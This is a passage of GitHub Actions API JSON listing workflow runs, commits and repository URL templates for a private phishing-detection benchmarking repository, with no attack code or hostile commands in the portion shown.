","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287515722,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTE1NzIy","head_branch":"API_Flatten","head_sha":"de31734a58e996c2425dc15130a929e0a7d14d46","run_number":1070,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285626838,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjI2ODM4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287515722","pull_requests":[],"created_at":"2020-10-04T06:36:21Z","updated_at":"2020-10-04T06:50:44Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285626838","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"de31734a58e996c2425dc15130a929e0a7d14d46","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Documentation","timestamp":"2020-10-04T06:36:15Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287502807,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTAyODA3","head_branch":"API_Flatten","head_sha":"26e0d505013b23f53abd5799c8f796e81c32d820","run_number":280,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1285602835,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjAyODM1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287502807","pull_requests":[],"created_at":"2020-10-04T06:22:09Z","updated_at":"2020-10-04T06:24:50Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285602835","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"26e0d505013b23f53abd5799c8f796e81c32d820","tree_id":"b85cfb74d5b55ec2f911bfff2eb95ffb574f8feb","message":"Exposed extract_features_from_single","timestamp":"2020-10-04T05:59:24Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287480129,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDgwMTI5","head_branch":"API_Flatten","head_sha":"26e0d505013b23f53abd5799c8f796e81c32d820","run_number":1069,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285563167,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NTYzMTY3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287480129","pull_requests":[],"created_at":"2020-10-04T05:59:29Z","updated_at":"2020-10-04T06:13:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285563167","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"26e0d505013b23f53abd5799c8f796e81c32d820","tree_id":"b85cfb74d5b55ec2f911bfff2eb95ffb574f8feb","message":"Exposed extract_features_from_single","timestamp":"2020-10-04T05:59:24Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/r